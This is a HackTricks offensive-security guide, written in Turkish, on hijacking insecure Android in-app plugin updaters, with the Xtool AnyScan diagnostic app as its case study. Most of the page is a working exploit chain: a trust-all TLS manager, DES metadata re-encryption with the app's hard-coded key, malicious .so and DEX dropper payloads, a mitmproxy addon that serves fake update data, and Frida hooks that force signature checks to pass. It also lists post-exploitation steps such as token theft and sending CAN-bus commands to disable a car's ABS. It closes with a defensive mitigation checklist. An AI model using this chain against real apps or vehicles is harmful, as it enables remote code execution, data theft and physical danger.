Güvensiz Uygulama İçi Güncelleme Mekanizmaları – Zararlı Eklentilerle Uzaktan Kod Çalıştırma

Reading time: 9 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Birçok Android uygulaması Google Play Store yerine kendi “plugin” veya “dynamic feature” güncelleme kanallarını uygular. Uygulama yanlış yapılandırılmışsa ve saldırgan güncelleme trafiğini ele geçirebiliyor veya değiştirebiliyorsa, uygulama süreci içinde yüklenecek keyfi native veya Dalvik/ART kodu sağlayabilir; bu da telefonda tam Uzaktan Kod Çalıştırma (RCE) ile sonuçlanır — ve bazı durumlarda uygulama tarafından kontrol edilen harici cihazlarda da (arabalar, IoT, tıbbi cihazlar …).

Bu sayfa, Xtool AnyScan otomotiv-diagnostik uygulamasında (v4.40.11 → 4.40.40) bulunan gerçek dünya bir zafiyet zincirini özetler ve tekniği genelleştirerek diğer Android uygulamalarını denetlemenizi ve yanlış yapılandırmayı bir red-team engagement sırasında sömürmenizi sağlar.


0. Hızlı triyaj: uygulamanın bir in‑app updater'ı var mı?

JADX/apktool'ta bakılacak statik ipuçları:

  • Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • Ağ uç noktaları gibi /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Güncelleme yollarının yakınındaki kripto yardımcıları (DES/AES/RC4; Base64; JSON/XML paketleri).
  • Dinamik yükleyiciler: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Uygulama içi veya harici depolamaya yazıp ardından hemen bir .so/DEX yükleyen unzip yolları.

Doğrulamak için çalışma zamanı kancaları:

js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. Güvensiz bir TLS TrustManager'ı Tespit Etme

  1. jadx / apktool ile APK'yı decompile edin ve networking stack'i (OkHttp, HttpUrlConnection, Retrofit…) bulun.
  2. Her sertifikaya körü körüne güvenen özel bir TrustManager veya HostnameVerifier arayın:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Mevcutsa uygulama herhangi bir TLS sertifikasını kabul eder → self-signed cert ile transparent MITM proxy çalıştırabilirsiniz:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

Eğer TLS pinning güvenli olmayan trust-all mantığı yerine uygulanıyorsa, bkz:

Android Anti Instrumentation And Ssl Pinning Bypass

Make APK Accept CA Certificate


2. Reverse-Engineering the Update Metadata

AnyScan durumunda her uygulama başlatması şu adrese bir HTTPS GET tetikler:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

Yanıt gövdesi, her bir kullanılabilir eklentiyi tanımlayan Base64 ile kodlanmış, DES-ECB ile şifrelenmiş JSON içeren düğümlerine sahip bir XML belgesidir.

Tipik keşif adımları:

  1. Kripto rutinini (ör. RemoteServiceProxy) bulun ve şunları çıkarın:
  • algoritma (DES / AES / RC4 …)
  • işlem modu (ECB / CBC / GCM …)
  • sabit kodlanmış key / IV (genellikle 56-bit DES veya 128-bit AES sabitleri)
  1. Metadata'yı deşifrelemek / şifrelemek için fonksiyonu Python'da yeniden uygulayın:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Notes seen in the wild (2023–2025):

  • Metadata genellikle JSON-within-XML veya protobuf biçimindedir; weak ciphers ve static keys yaygındır.
  • Birçok updaters, metadata HTTPS üzerinden gelmiş olsa bile gerçek payload indirmesi için plain HTTP kabul eder.
  • Plugins sıklıkla app-internal storage içine unzip edilir; bazıları hâlâ external storage veya legacy requestLegacyExternalStorage kullanır; bu da cross-app tampering'e izin verir.

3. Kötü Amaçlı Plugin Oluşturma

3.1 Native kütüphane yolu (dlopen/System.load[Library])

  1. Herhangi bir meşru plugin ZIP'i seçin ve native library'yi payload'unuzla değiştirin:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. JSON meta verisini güncelleyin öyle ki "FileName" : "PWNED.zip" ve "DownloadURL" HTTP sunucunuza işaret etsin.
  2. Değiştirilmiş JSON'u yeniden şifreleyin + Base64 ile kodlayın ve yakalanan XML'in içine geri kopyalayın.

3.2 Dex tabanlı plugin yolu (DexClassLoader)

Bazı uygulamalar bir JAR/APK indirir ve kodu DexClassLoader aracılığıyla yükler. Yükleme sırasında tetiklenen kötü amaçlı bir DEX oluşturun:

java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

Hedef Class.forName("pwn.Dropper") çağırırsa statik başlatıcınız çalışır; aksi takdirde Frida ile yüklü sınıfları yansıtma yoluyla listeleyip dışa aktarılmış bir metodu çağırın.


4. Payload'ı mitmproxy ile teslim et

addon.py örneği, orijinal metadata'yı sessizce değiştirir:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Kötü amaçlı ZIP/JAR'ı barındırmak için basit bir web server çalıştırın:

bash
python3 -m http.server 8000 --directory ./payloads

Kurban uygulamayı başlattığında şunlar gerçekleşir:

  • MITM kanalı üzerinden sahte XML'imizi çeker;
  • hard-coded crypto ile decrypt & parse eder;
  • PWNED.zip veya plugin.jar dosyasını indirir → özel depolama içinde unzip eder;
  • dahili .so veya DEX'i load eder ve uygulamanın izinleriyle (camera, GPS, Bluetooth, filesystem, …) kodumuzu anında çalıştırır.

Eklenti diske cache'lendiği için backdoor yeniden başlatmalarda kalıcı olur ve kullanıcı ilgili özelliği seçtiğinde her seferinde çalışır.


4.1 Bypassing signature/hash checks (when present)

If the updater validates signatures or hashes, hook verification to always accept attacker content:

js
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

Ayrıca PluginVerifier.verifySignature(), checkHash() gibi satıcı yöntemlerini stub'lamayı veya Java ya da JNI içinde update gating mantığını kısa devre yapmayı düşünün.


5. Güncelleyicilerdeki diğer saldırı yüzeyleri (2023–2025)

  • Zip Slip path traversal while extracting plugins: kötü amaçlı girişler (ör. ../../../../data/data/<pkg>/files/target) rastgele dosyaların üzerine yazabilir. Giriş yollarını her zaman temizleyin ve allow‑lists kullanın.
  • External storage staging: uygulama arşivi yüklemeden önce external storage'a yazıyorsa, başka herhangi bir uygulama ona müdahale edebilir. Scoped Storage veya uygulama içi (internal) depolama bunu önler.
  • Cleartext downloads: metadata HTTPS üzerinden ama payload HTTP üzerinden → basit bir MITM ile değiştirme.
  • Incomplete signature checks: yalnızca tek bir dosya hash'ini karşılaştırmak, tüm arşivi kontrol etmemek; imzayı developer key ile bağlamamak; arşivde bulunan herhangi bir RSA anahtarını kabul etmek.
  • React Native / Web-based OTA content: native bridge'ler OTA'dan gelen JS'i katı bir imzalama olmadan çalıştırıyorsa, uygulama bağlamında rastgele kod çalıştırma mümkün olabilir (ör. insecure CodePush-like flows). Detached update signing ve sıkı doğrulama uygulayın.

6. Post-Exploitation Ideas

  • Uygulama tarafından saklanan session cookie'lerini, OAuth token'lerini veya JWT'leri çalın.
  • İkinci aşama bir APK bırakın ve mümkünse pm install ile sessizce yükleyin (bazı uygulamalar zaten REQUEST_INSTALL_PACKAGES bildiriyor).
  • Bağlı herhangi bir donanımı kötüye kullanın – AnyScan senaryosunda rastgele OBD‑II / CAN bus komutları gönderebilirsiniz (kapıları açmak, ABS'i devre dışı bırakmak, vb.).

Detection & Mitigation Checklist (blue team)

  • Dinamik kod yüklemelerinden ve out‑of‑store güncellemelerden kaçının. Play‑mediated güncellemeleri tercih edin. Eğer dinamik pluginler zorunluluksa, bunları sadece veri‑paketleri olarak tasarlayın ve yürütülebilir kodu base APK'da tutun.
  • TLS'i düzgün şekilde zorunlu kılın: custom trust‑all yöneticileri kullanmayın; mümkünse pinning uygulayın ve cleartext trafiğini engelleyen sertleştirilmiş bir network security config dağıtın.
  • Google Play dışından executable kod indirmeyin. Zorunluysa detached update signing (ör. Ed25519/RSA) kullanın, developer tarafından tutulan bir anahtar ile doğrulayın ve yüklemeden önce kontrol edin. Metadata ile payload'u (length, hash, version) bağlayın ve fail closed davranın.
  • Metadata için her mesajda nonce kullanan modern kriptografiyi (AES‑GCM) kullanın; client'lardaki hard‑coded anahtarları kaldırın.
  • İndirilen arşivlerin bütünlüğünü doğrulayın: her dosyayı kapsayan bir imzayı doğrulayın veya en azından bir SHA‑256 hash manifest'ini doğrulayın. Ek/unknown dosyaları reddedin.
  • İndirmeleri app‑internal storage'da (veya Android 10+ için scoped storage) saklayın ve uygulamalar arası müdahaleyi önleyen dosya izinleri kullanın.
  • Zip Slip'e karşı savunma: çıkarma öncesi zip giriş yollarını normalize edin ve doğrulayın; mutlak yolları veya .. segmentlerini reddedin.
  • Play “Code Transparency”yı değerlendirin; bu, dağıtılan DEX/native kodunun sizin build'inizle eşleşip eşleşmediğini siz ve kullanıcıların doğrulamasına olanak verir (tamamlayıcıdır ama APK signing'in yerine geçmez).

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin